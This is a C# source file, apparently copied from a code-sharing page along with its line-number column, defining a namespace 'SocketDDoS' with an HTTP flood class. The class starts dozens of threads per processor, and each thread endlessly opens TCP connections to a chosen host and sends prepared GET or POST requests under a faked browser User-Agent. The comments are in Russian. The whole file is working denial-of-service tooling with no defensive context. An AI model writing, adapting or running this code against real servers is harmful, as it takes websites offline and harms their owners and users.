using System using System Collections Generic using System Net using S

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
using System;
using System.Collections.Generic;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Web;
namespace SocketDDoS
{
class sHTTPFlood
{
public static string host = string.Empty;
public static string postData = string.Empty;
public static bool isSlowloris = false;
private static int iThreads = Environment.ProcessorCount * 20;
private static ThreadStart[] tFloodingJob;
private static Thread[] gFloodingThread;
private static Thread[] pFloodingThread;
private static HTTPThreadGET[] gRequestClass;
private static HTTPThreadPOST[] pRequestClass;
// Начало GET Flood
public static void StartHTTPFloodGET()
{
gFloodingThread = new Thread[iThreads];
tFloodingJob = new ThreadStart[iThreads];
gRequestClass = new HTTPThreadGET[iThreads];
for (int i = 0; i < iThreads; i++)
{
gRequestClass[i] = new HTTPThreadGET(host, isSlowloris);
tFloodingJob[i] = new ThreadStart(gRequestClass[i].ProcessFlood);
gFloodingThread[i] = new Thread(tFloodingJob[i]);
gFloodingThread[i].Start();
}
}
// -------------------------------------------------------------------------------------------------
// Остоновка GET Флуда
public static void StopHTTPFloodGET()
{
for (int i = 0; i < iThreads; i++)
{
try
{
gFloodingThread[i].Abort();
gFloodingThread[i].Join();
}catch { }
}
}
// -------------------------------------------------------------------------------------------------
public static void StartHTTPFloodPOST()
{
pFloodingThread = new Thread[iThreads];
tFloodingJob = new ThreadStart[iThreads];
pRequestClass = new HTTPThreadPOST[iThreads];
for (int i = 0; i < iThreads; i++)
{
pRequestClass[i] = new HTTPThreadPOST(host, postData, isSlowloris);
tFloodingJob[i] = new ThreadStart(pRequestClass[i].ProcessFlood);
pFloodingThread[i] = new Thread(tFloodingJob[i]);
pFloodingThread[i].Start();
}
}
// Остоновка GET Флуда
public static void StopHTTPFloodPOST()
{
for (int i = 0; i < iThreads; i++)
{
try
{
pFloodingThread[i].Abort();
pFloodingThread[i].Join();
}
catch { }
}
}
// -------------------------------------------------------------------------------------------------
// HTTP GET REQUSET
private class HTTPThreadGET
{
const string NewLine = "\r\n";
private string hostAdr = string.Empty;
private string PathAndQuery = string.Empty;
private IPAddress hostIP;
private int hostPort = 80;
private IPEndPoint ipPoint_0;
private byte[] buf;
private int socketConnect = 0;
private bool isSlowloris = false;
public HTTPThreadGET(string host, bool IsSlowloris)
{
this.isSlowloris = IsSlowloris;
// Подготовка данных для создания подключения
if (!host.StartsWith("http://") && !host.StartsWith("https://"))
{
host = "http://" + host;
}
Uri parseUri = new Uri(host);
hostAdr = parseUri.Host;
PathAndQuery = parseUri.PathAndQuery;
hostPort = 80;
hostIP = Dns.GetHostEntry(hostAdr).AddressList[0];
ipPoint_0 = new IPEndPoint(hostIP, hostPort);
// Подготовка пакета к отправки
StringBuilder strb = new StringBuilder();
strb.Append("GET " + PathAndQuery + " HTTP/1.1" + NewLine);
strb.Append("Host: " + hostAdr + NewLine);
strb.Append("Connection: keep-alive" + NewLine);
strb.Append("Pragma: no-cache" + NewLine);
strb.Append("Cache-Control: no-cache" + NewLine);
strb.Append("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" + NewLine);
strb.Append("User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7" + NewLine);
strb.Append(NewLine);
buf = Encoding.ASCII.GetBytes(strb.ToString());
}
// Создания подключения
public void ProcessFlood()
{
while (true)
{
try
{
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.DontLinger, true);
socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReceiveTimeout, 0);
socket.Connect(ipPoint_0);
socket.Blocking = true;
socket.Send(buf, SocketFlags.None);
socket.Close();
}
catch{}
Thread.Sleep(0x23);
if (socketConnect == 50000)
{
socketConnect = 0;
GC.Collect();
}
}
}
}
// -------------------------------------------------------------------------------------------------
// HTTP POST REQUSET
private class HTTPThreadPOST
{
const string NewLine = "\r\n";
private string hostAdr = string.Empty;
private string PathAndQuery = string.Empty;
private IPAddress hostIP;
private int hostPort = 80;
private IPEndPoint ipPoint_0;
private byte[] buf;
private int socketConnect = 0;
private string PostData;
private bool isSlowloris = false;
public HTTPThreadPOST(string host, string postData, bool cIsSlowloris)
{
this.isSlowloris = cIsSlowloris;
this.PostData = postData;
// Подготовка данных для создания подключения
if (!host.StartsWith("http://") && !host.StartsWith("https://"))
{
host = "http://" + host;
}
Uri parseUri = new Uri(host);
hostAdr = parseUri.Host;
PathAndQuery = parseUri.PathAndQuery;
hostPort = parseUri.Port;
hostIP = Dns.GetHostEntry(hostAdr).AddressList[0];
ipPoint_0 = new IPEndPoint(hostIP, hostPort);
// Подготовка пакета к отправки
StringBuilder strb = new StringBuilder();
strb.Append("POST " + PathAndQuery + " HTTP/1.1" + NewLine);
strb.Append("Host: " + hostAdr + NewLine);
strb.Append("Connection: keep-alive" + NewLine);
strb.Append("Content-Length: " + Encoding.UTF8.GetByteCount(postData).ToString() + NewLine);
strb.Append("Pragma: no-cache" + NewLine);
strb.Append("Cache-Control: no-cache" + NewLine);
strb.Append("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" + NewLine);
strb.Append("Origin: http://" + hostAdr + NewLine);
strb.Append("User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.75 Safari/535.7" + NewLine);
strb.Append("Content-Type: application/x-www-form-urlencoded" + NewLine);
strb.Append("Referer: http://" + hostAdr + NewLine);
strb.Append(NewLine);
// POST данные
strb.Append(postData + NewLine);
strb.Append(NewLine);
buf = Encoding.ASCII.GetBytes(strb.ToString());
}
// Создания подключения
public void ProcessFlood()
{
while (true)
{
try
{
Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.DontLinger, true);
socket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReceiveTimeout, 0);
socket.Connect(ipPoint_0);
socket.Blocking = true;
socket.Send(buf, buf.Length, 0);
socket.Close();
}
catch { }
Thread.Sleep(0x23);
if (socketConnect == 50000)
{
socketConnect = 0;
GC.Collect();
}
}
}
}
// -------------------------------------------------------------------------------------------------
}
}